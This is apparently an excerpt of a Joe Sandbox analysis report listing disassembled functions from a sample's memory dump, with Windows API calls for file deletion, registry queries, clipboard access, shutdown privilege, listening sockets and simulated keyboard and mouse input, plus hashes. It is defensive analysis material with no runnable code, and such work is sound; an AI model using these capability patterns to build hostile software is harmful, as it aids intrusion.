FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 009B97BE
FindNextFileW.KERNEL32(00000000,?), ref: 009B9819
FindClose.KERNEL32(00000000), ref: 009B9824
FindFirstFileW.KERNEL32(*.*,?), ref: 009B9840
SetCurrentDirectoryW.KERNEL32(?), ref: 009B9890
SetCurrentDirectoryW.KERNEL32(00A06B7C), ref: 009B98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 009B98B8
FindClose.KERNEL32(00000000), ref: 009B98C5
FindClose.KERNEL32(00000000), ref: 009B98D5

Part of subcall function 009ADAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 009ADB00

Strings

*.*, xrefs: 009B983B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: c2dcc7dd137360355872ef6e9546de34bd8241b2dcb6ff73d5a14198b077d08a
Instruction ID: 48a746a1bf56d7c54ec340153cac53929e9ce20894cbff7944a4d1b1a458d1d5
Opcode Fuzzy Hash: c2dcc7dd137360355872ef6e9546de34bd8241b2dcb6ff73d5a14198b077d08a
Instruction Fuzzy Hash: C231127159121A7EDF10EFB4ED88ADE77BCAF46334F108556EA14A21E0DB30DA84DA60

Function 009CBE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009CC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,009CB6AE,?,?), ref: 009CC9B5
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CC9F1
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA68
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 009CBF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 009CBFA9
RegCloseKey.ADVAPI32(00000000), ref: 009CBFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 009CC02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 009CC0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 009CC154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 009CC1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 009CC23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 009CC2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 009CC382
RegCloseKey.ADVAPI32(00000000), ref: 009CC38F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 686a8c3765fbc504eebe35aa49241d03b34a409cc8ba42771fbbd62dd9e2e42f
Instruction ID: 5f30e1761ea2a8e7277097210e9953ca76e17bd979458c7981bb131a41463d45
Opcode Fuzzy Hash: 686a8c3765fbc504eebe35aa49241d03b34a409cc8ba42771fbbd62dd9e2e42f
Instruction Fuzzy Hash: A1021DB1A042409FD714DF24C895F2ABBE5EF89318F18849DF84ADB2A2D731ED45CB52

Function 009AD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00943AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00943A97,?,?,00942E7F,?,?,?,00000000), ref: 00943AC2

Part of subcall function 009AE199: GetFileAttributesW.KERNEL32(?,009ACF95), ref: 009AE19A

FindFirstFileW.KERNEL32(?,?), ref: 009AD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 009AD1DD
MoveFileW.KERNEL32(?,?), ref: 009AD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 009AD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 009AD237

Part of subcall function 009AD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,009AD21C,?,?), ref: 009AD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 009AD253
FindClose.KERNEL32(00000000), ref: 009AD264

Strings

\*.*, xrefs: 009AD0CD, 009AD0D6, 009AD0EB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: c75acefe9f1c5c330a550d057c33b601527c41eb21959022112dae95590c6bff
Instruction ID: 32a07536020ce169c15998d4aa918b66eb007bbaed53c71f2c2de38db17c9fe2
Opcode Fuzzy Hash: c75acefe9f1c5c330a550d057c33b601527c41eb21959022112dae95590c6bff
Instruction Fuzzy Hash: 8F61617184610D9FCF05EBE0D952EEDB779AF96300F204165E41277192EB309F09DBA0

Function 009BED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 009BED91
EmptyClipboard.USER32 ref: 009BED97
GlobalAlloc.KERNEL32(00000002,?), ref: 009BEDAC
CloseClipboard.USER32 ref: 009BEEA3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: b9340a26e4978a92b0d82300e1dd07e6de418c02c8da109a11a5227bf9f4c6ee
Instruction ID: b9686b00e159d4de95a9b80fa2e5eb25b2ae437ffca8eb2d1c5c52c80e75fd91
Opcode Fuzzy Hash: b9340a26e4978a92b0d82300e1dd07e6de418c02c8da109a11a5227bf9f4c6ee
Instruction Fuzzy Hash: 0041E275209212AFD710CF15D988F99BBE9FF84328F14C499E4268F6A2C775EC81CB90

Function 009AE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 009A16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009A170D
Part of subcall function 009A16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009A173A
Part of subcall function 009A16C3: GetLastError.KERNEL32 ref: 009A174A

ExitWindowsEx.USER32(?,00000000), ref: 009AE932

Strings

, xrefs: 009AE920
@, xrefs: 009AE925
SeShutdownPrivilege, xrefs: 009AE902
, xrefs: 009AE95C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: af1e7a5d0fe6e2ce531549e0d1259a83c25d97e568e97c98f6ccef651394d7d2
Instruction ID: 7675fda27ef4ceeb0f37cd57baba3cd04ca3e0a23d716e840e1bbe497a70edb6
Opcode Fuzzy Hash: af1e7a5d0fe6e2ce531549e0d1259a83c25d97e568e97c98f6ccef651394d7d2
Instruction Fuzzy Hash: 29014972624311ABEB5422B4AC8AFFF735CAB86780F150822FC03F20D1D5A45C8091E0

Function 009C1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 009C1276
WSAGetLastError.WSOCK32 ref: 009C1283
bind.WSOCK32(00000000,?,00000010), ref: 009C12BA
WSAGetLastError.WSOCK32 ref: 009C12C5
closesocket.WSOCK32(00000000), ref: 009C12F4
listen.WSOCK32(00000000,00000005), ref: 009C1303
WSAGetLastError.WSOCK32 ref: 009C130D
closesocket.WSOCK32(00000000), ref: 009C133C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: fcbe47b592635e9a2649f5cea25efc15850ee8ed6ae8e16e36496062436c97cc
Instruction ID: 887437942f927d117d10d78a0f60605548c0590bb23e128a15342636dd6b1894
Opcode Fuzzy Hash: fcbe47b592635e9a2649f5cea25efc15850ee8ed6ae8e16e36496062436c97cc
Instruction Fuzzy Hash: 2B418E75A001419FD710DF64C488F2ABBE5AF86318F18818DE8668F293C771ED81DBE2

Function 009AD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00943AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00943A97,?,?,00942E7F,?,?,?,00000000), ref: 00943AC2

Part of subcall function 009AE199: GetFileAttributesW.KERNEL32(?,009ACF95), ref: 009AE19A

FindFirstFileW.KERNEL32(?,?), ref: 009AD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 009AD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 009AD481
FindClose.KERNEL32(00000000), ref: 009AD498
FindClose.KERNEL32(00000000), ref: 009AD4A1

Strings

\*.*, xrefs: 009AD3F2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: c5a584131ba916ddb17633df2588f66583ea26abcea6a96ec33fbca7ff692c50
Instruction ID: 77cdc11c3ff8f1a317ae5ecb701f3054782456be26e14feacc9eff846fc751aa
Opcode Fuzzy Hash: c5a584131ba916ddb17633df2588f66583ea26abcea6a96ec33fbca7ff692c50
Instruction Fuzzy Hash: 71316D7105D3459FC204EF64D895DAFB7E8AED6304F444A1EF4D2921A1EB20EA09D7A3

Function 009B648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009B64DC
CoInitialize.OLE32(00000000), ref: 009B6639
CoCreateInstance.OLE32(009DFCF8,00000000,00000001,009DFB68,?), ref: 009B6650
CoUninitialize.OLE32 ref: 009B68D4

Strings

.lnk, xrefs: 009B64BA, 009B6524, 009B65E0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 62dc87dffdb6a15cf6d6c78f3cf389846c4b667f63b872129f6ffb7a131a5fd6
Instruction ID: 133cc62c047e438a530757ea84903100511757d0d44336392307f851b159d3b0
Opcode Fuzzy Hash: 62dc87dffdb6a15cf6d6c78f3cf389846c4b667f63b872129f6ffb7a131a5fd6
Instruction Fuzzy Hash: DBD14871508201AFC314EF64C981EABB7E8FFD9714F00496DF5958B2A1EB71E909CB92

Function 009C22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 009C22E8

Part of subcall function 009BE4EC: GetWindowRect.USER32(?,?), ref: 009BE504

GetDesktopWindow.USER32 ref: 009C2312
GetWindowRect.USER32(00000000), ref: 009C2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 009C2355
GetCursorPos.USER32(?), ref: 009C2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 009C23DF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: af05287996720e985b0baff1ce0bb9ab9ef6adf47fb5dcde05c4a5c2413309c8
Instruction ID: ae12e0bd8db12b69942c0810c3c13171c941720b696abcfc163a7f689b4c9b1f
Opcode Fuzzy Hash: af05287996720e985b0baff1ce0bb9ab9ef6adf47fb5dcde05c4a5c2413309c8
Instruction Fuzzy Hash: 8C31CF72509356ABC720DF14D849F9BB7A9FF84710F00091EF985A7191DB34E948CB92

Function 009B9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 009B9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 009B9C8B

Part of subcall function 009B3874: GetInputState.USER32 ref: 009B38CB
Part of subcall function 009B3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009B3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 009B9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 009B9C75

Strings

*.*, xrefs: 009B9B5D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 3e20996ccdb2c9484a36c611e66265d2566910641b038201e794eb1b866643f7
Instruction ID: 8d18309fdc43cdcf59454f3e579843ddfe03d00925711b8db96f4e9f7410d716
Opcode Fuzzy Hash: 3e20996ccdb2c9484a36c611e66265d2566910641b038201e794eb1b866643f7
Instruction Fuzzy Hash: 8D41827195420AAFCF14DFB4C999BEE7BB8EF45320F204156E549A3291EB309E84CF60

Function 0095997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00959A4E
GetSysColor.USER32(0000000F), ref: 00959B23
SetBkColor.GDI32(?,00000000), ref: 00959B36

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 6e779de512641641b855bbabec6c2d5e7c220cb7d1a215b28dbdc64880600e70
Instruction ID: 1c3d95c9730caa871140ef948a184e4910dda083d0bf6cbbbcc58cba7118f748
Opcode Fuzzy Hash: 6e779de512641641b855bbabec6c2d5e7c220cb7d1a215b28dbdc64880600e70
Instruction Fuzzy Hash: 6EA13CB0118544FEFB24EBBE8C98FBB769DDB82302F14450AF912C6691CE299D05D372

Function 009C1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009C304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 009C307A
Part of subcall function 009C304E: _wcslen.LIBCMT ref: 009C309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 009C185D
WSAGetLastError.WSOCK32 ref: 009C1884
bind.WSOCK32(00000000,?,00000010), ref: 009C18DB
WSAGetLastError.WSOCK32 ref: 009C18E6
closesocket.WSOCK32(00000000), ref: 009C1915

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: f00d65ddc63cf7095a5bb90078f7537ae67df46c48852756066d12aaa5d47003
Instruction ID: ec4f6441d515ddccbdc4d94bb21d435e2fa02565565c8a8449218cf1e48dbf0d
Opcode Fuzzy Hash: f00d65ddc63cf7095a5bb90078f7537ae67df46c48852756066d12aaa5d47003
Instruction Fuzzy Hash: 6951C4B1A00210AFDB10EF24C886F2AB7E5AB85718F14849CF9159F3D3D775AD41CBA2

Function 009D1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 009D1CC0
IsWindowEnabled.USER32 ref: 009D1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 009D1CDB
IsIconic.USER32 ref: 009D1CE9
IsZoomed.USER32 ref: 009D1CF7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 14628fee5295a739fca03cd36c94ad073769e2468e10fda0b72014e469ea6eec
Instruction ID: 59210a53e67fe7c1597ad3530328bc61a0f832f88b1cc8971c3d5a21e5573ec9
Opcode Fuzzy Hash: 14628fee5295a739fca03cd36c94ad073769e2468e10fda0b72014e469ea6eec
Instruction Fuzzy Hash: 0821D3727D52016FD7208F2AC844B2A7BA9EF95315B18C05AE88A8B351D771EC42CB90

Function 009AAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 009AAAAC
SetKeyboardState.USER32(00000080), ref: 009AAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 009AAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 009AAB88

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 515099c2036b44e11e045e0e8b3e53db8dd1c07d41a2d2232c08869089798051
Instruction ID: f08c9688b8b7c0caf165024fb1b5ca5abdcbebd9752dc7f50774872384735d9c
Opcode Fuzzy Hash: 515099c2036b44e11e045e0e8b3e53db8dd1c07d41a2d2232c08869089798051
Instruction Fuzzy Hash: 5D312870A80208AFFF35CB65CC05BFA7BAAAB56320F04421BF581965D1D3798981D7F2

Function 0097BB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0097BB7F

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

GetTimeZoneInformation.KERNEL32 ref: 0097BB91
WideCharToMultiByte.KERNEL32(00000000,?,00A1121C,000000FF,?,0000003F,?,?), ref: 0097BC09
WideCharToMultiByte.KERNEL32(00000000,?,00A11270,000000FF,?,0000003F,?,?,?,00A1121C,000000FF,?,0000003F,?,?), ref: 0097BC36

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: 90cdb1409d6f9f04328f232a4ae9611f13aeaf12dd7b413cd5b0c9b630d9ff5a
Instruction ID: c726034bb1d577f964f6a3b0590e57b135eae7055e22c16634f53602a99bd71e
Opcode Fuzzy Hash: 90cdb1409d6f9f04328f232a4ae9611f13aeaf12dd7b413cd5b0c9b630d9ff5a
Instruction Fuzzy Hash: 9931D572904205DFCB11DFA9CC80ABDBBB8FF45750B18C66AE558D72A1D7309D41DB50

Function 009B5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 009B5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 009B5D17
FindClose.KERNEL32(?), ref: 009B5D5F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

